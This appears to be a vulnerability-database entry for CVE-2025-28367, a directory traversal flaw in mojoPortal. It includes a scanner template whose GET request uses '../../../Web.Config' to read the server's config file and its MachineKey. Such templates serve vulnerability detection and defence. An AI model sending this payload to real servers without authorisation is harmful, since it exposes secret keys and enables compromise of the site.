/Vulnerability Library

mojoPortal <=2.9.0.1 - Directory Traversal

CVE-2025-28367
Verified

Description

mojoPortal <=2.9.0.1 is vulnerable to Directory Traversal via BetterImageGallery API Controller - ImageHandler Action. An attacker can exploit this vulnerability to access the Web.Config file and obtain the MachineKey.

Severity

Medium

CVSS Score

6.5

Exploit Probability

10%

Published Date

April 22, 2025

Template Author

dhiyaneshdk

CVE-2025-28367.yaml
id: CVE-2025-28367

info:
  name: mojoPortal <=2.9.0.1 - Directory Traversal
  author: DhiyaneshDk
  severity: medium
  description: |
    mojoPortal <=2.9.0.1 is vulnerable to Directory Traversal via BetterImageGallery API Controller - ImageHandler Action. An attacker can exploit this vulnerability to access the Web.Config file and obtain the MachineKey.
  reference:
    - https://github.com/i7MEDIA/mojoportal
    - https://www.0xlanks.me/blog/cve-2025-28367-advisory/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-28367
  classification:
    epss-score: 0.10002
    epss-percentile: 0.92774
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2025-28367
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="mojoportal"
  tags: cve,cve2025,mojoportal,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/BetterImageGallery/imagehandler?path=../../../Web.Config"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<machineKey"
          - "<system.web>"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402206e7aa911d942bb22f5fef04559710fd25d2e63aff96277c667ed14195caac38d02206867f57e03aa377839c8ecfe0cc5f806589e9778e764daabab80961193523b2f:922c64590222798bb761d5b6d8e72950
6.5Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
CVE ID:
cve-2025-28367
CWE ID:
cwe-284

References

https://github.com/i7MEDIA/mojoportalhttps://www.0xlanks.me/blog/cve-2025-28367-advisory/https://nvd.nist.gov/vuln/detail/CVE-2025-28367